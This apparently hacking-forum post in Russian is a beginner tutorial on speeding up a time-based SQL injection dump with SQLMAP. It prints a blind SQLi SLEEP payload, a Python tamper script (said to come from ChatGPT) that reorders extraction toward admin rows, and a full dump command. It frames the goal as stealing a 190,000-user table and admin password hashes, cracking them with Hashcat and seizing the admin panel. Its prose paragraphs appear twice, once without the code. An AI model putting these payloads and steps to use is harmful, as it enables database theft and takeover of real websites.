Здравствуйте, уважаемые читатели. В этой короткой заметке для новичков мы рассмотрим работу с инструментом SQLMAP. Рассмотрим гипотетическую ситуацию, когда вы обнаружили SQL Injection (SQLI), доступную только через time-based технику, и вашей задачей является получение полного дампа пользователей, хранящихся у админа.
У вас есть доступ к таблице 'admins' с ID админа и таблице 'user' с 190 тысячами пользователей. Если вы попытаетесь извлечь эти данные с помощью time-based техники, это займет более месяца, и, вероятно, за это время админ устранит уязвимость. Как же быть?
Ваш первый шаг должен быть следующим: включите режим -v6 в SQLMAP, чтобы видеть, какой payload генерируется. Например, мой payload выглядит так:
Здесь генерируются разные числа (в этом случае 8186), и сортировка производится по email. Из-за этого в первую очередь будут извлекаться емейлы с цифрами, затем по алфавиту, а идентификаторы пользователей (userid) не будут в диапазоне от 1 до 190 тыс., поскольку сравнение проводится на основе email. Конечно, можно вручную изменить ORDER BY email на ORDER BY userid, но не забывайте, что у нас time based, и администраторов может быть несколько. Мы же хотим, чтобы всё было автоматизировано
Допустим, у нас есть администраторы с userid: 1-9, 13, 7804 и 23006. Мы хотим, чтобы все запросы сортировались по userid, а не по электронной почте, как это происходит сейчас. Для этого нам нужно создать tamper, который будет заменять фразу "ORDER BY email" на "ORDER BY userid" в SQL запросах.
Исходный SQL запрос:
Итоговый SQL запрос:
Конечно те, кто знает Python, легко справится с этой задачей, но мы обратимся за помощью к ChatGPT:
Если сразу использовать этот код, то мы получим ошибку:
Как использовать скрипт:
Мы успешно получили доступ к информации о некоторых администраторах, в частности, с ID 9 и 13. Это открывает для нас возможность извлечения паролей, их дальнейшей расшифровки через Hashcat и, в случае успеха, попытки входа в админ панель. При успешном входе мы получаем полный контроль над сайтом, который позволяет нам совершать любые действия, например, выдать модераторские права обычному пользователю. Основное преимущество этого подхода заключается в экономии ресурсов и более интеллектуальной стратегии. Вместо того, чтобы бессистемно забрасывать сайт запросами из 10 разных окон, мы идем более умным путем, минимизируя нагрузку на сайт и наш ПК.
Более того, если мы собираем email, password и salt, то можно написать tamper, который будет сортировать результаты по salt. Это позволит нам дампить базу данных случайным образом, поскольку salt обычно генерируется случайным образом. Таким образом, не нужно будет ждать, пока сольются тысячи тестовых строк с авторегами.
У вас есть доступ к таблице 'admins' с ID админа и таблице 'user' с 190 тысячами пользователей. Если вы попытаетесь извлечь эти данные с помощью time-based техники, это займет более месяца, и, вероятно, за это время админ устранит уязвимость. Как же быть?
Ваш первый шаг должен быть следующим: включите режим -v6 в SQLMAP, чтобы видеть, какой payload генерируется. Например, мой payload выглядит так:
SQL:
(SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr)
Допустим, у нас есть администраторы с userid: 1-9, 13, 7804 и 23006. Мы хотим, чтобы все запросы сортировались по userid, а не по электронной почте, как это происходит сейчас. Для этого нам нужно создать tamper, который будет заменять фразу "ORDER BY email" на "ORDER BY userid" в SQL запросах.
Исходный SQL запрос:
SQL:
(SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr)
SQL:
(SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY userid LIMIT 1,1),21,1))>45,0,2)))))XmMr)
Конечно те, кто знает Python, легко справится с этой задачей, но мы обратимся за помощью к ChatGPT:
Python:
Хорошо, вот пример tamper-скрипта на Python, который заменяет ORDER BY email на ORDER BY id в запросе:
def tamper(payload, **kwargs):
# Ищем позицию, где находится фраза "ORDER BY" в запросе
order_by_pos = payload.upper().find("ORDER BY")
if order_by_pos != -1:
# Получаем подстроку запроса, начиная с фразы "ORDER BY"
order_by_substr = payload[order_by_pos:]
# Если в этой подстроке есть слово "email", заменяем его на "userid"
if "email" in order_by_substr.lower():
order_by_substr = order_by_substr.replace("email", "userid")
# Обновляем запрос с замененным выражением "ORDER BY"
payload = payload[:order_by_pos] + order_by_substr
# Возвращаем измененный запрос
return payload
Если сразу использовать этот код, то мы получим ошибку:
Python:
cannot import tamper module 'test' (SyntaxError: Non-ASCII character '\xc8' in file C: but no encoding declared; see PEP 263 – Defining Python Source Code Encodings | peps.python.org for details)
Python:
# -*- coding: utf-8 -*-
def tamper(payload, **kwargs):
# Ищем позицию, где находится фраза "ORDER BY" в запросе
order_by_pos = payload.upper().find("ORDER BY")
if order_by_pos != -1:
# Получаем подстроку запроса, начиная с фразы "ORDER BY"
order_by_substr = payload[order_by_pos:]
# Если в этой подстроке есть слово "email", заменяем его на "userid"
if "email" in order_by_substr.lower():
order_by_substr = order_by_substr.replace("email", "userid")
# Обновляем запрос с замененным выражением "ORDER BY"
payload = payload[:order_by_pos] + order_by_substr
# Возвращаем измененный запрос
return payload
Как использовать скрипт:
- Сохранить скрипт как any_name.py
- Запустить SQLMAP с параметром --tamper any_name.py для того, чтобы использовать скрипт во время тестирования
- Если в запросе будет встречаться ORDER BY email, то скрипт автоматически заменит его на ORDER BY userid.
Bash:
--batch -D database_name -T user -C userid,email --dump --technique=T --tamper=any_name.py --start=1 --stop=13
Мы успешно получили доступ к информации о некоторых администраторах, в частности, с ID 9 и 13. Это открывает для нас возможность извлечения паролей, их дальнейшей расшифровки через Hashcat и, в случае успеха, попытки входа в админ панель. При успешном входе мы получаем полный контроль над сайтом, который позволяет нам совершать любые действия, например, выдать модераторские права обычному пользователю. Основное преимущество этого подхода заключается в экономии ресурсов и более интеллектуальной стратегии. Вместо того, чтобы бессистемно забрасывать сайт запросами из 10 разных окон, мы идем более умным путем, минимизируя нагрузку на сайт и наш ПК.
Более того, если мы собираем email, password и salt, то можно написать tamper, который будет сортировать результаты по salt. Это позволит нам дампить базу данных случайным образом, поскольку salt обычно генерируется случайным образом. Таким образом, не нужно будет ждать, пока сольются тысячи тестовых строк с авторегами.
Последнее редактирование модератором: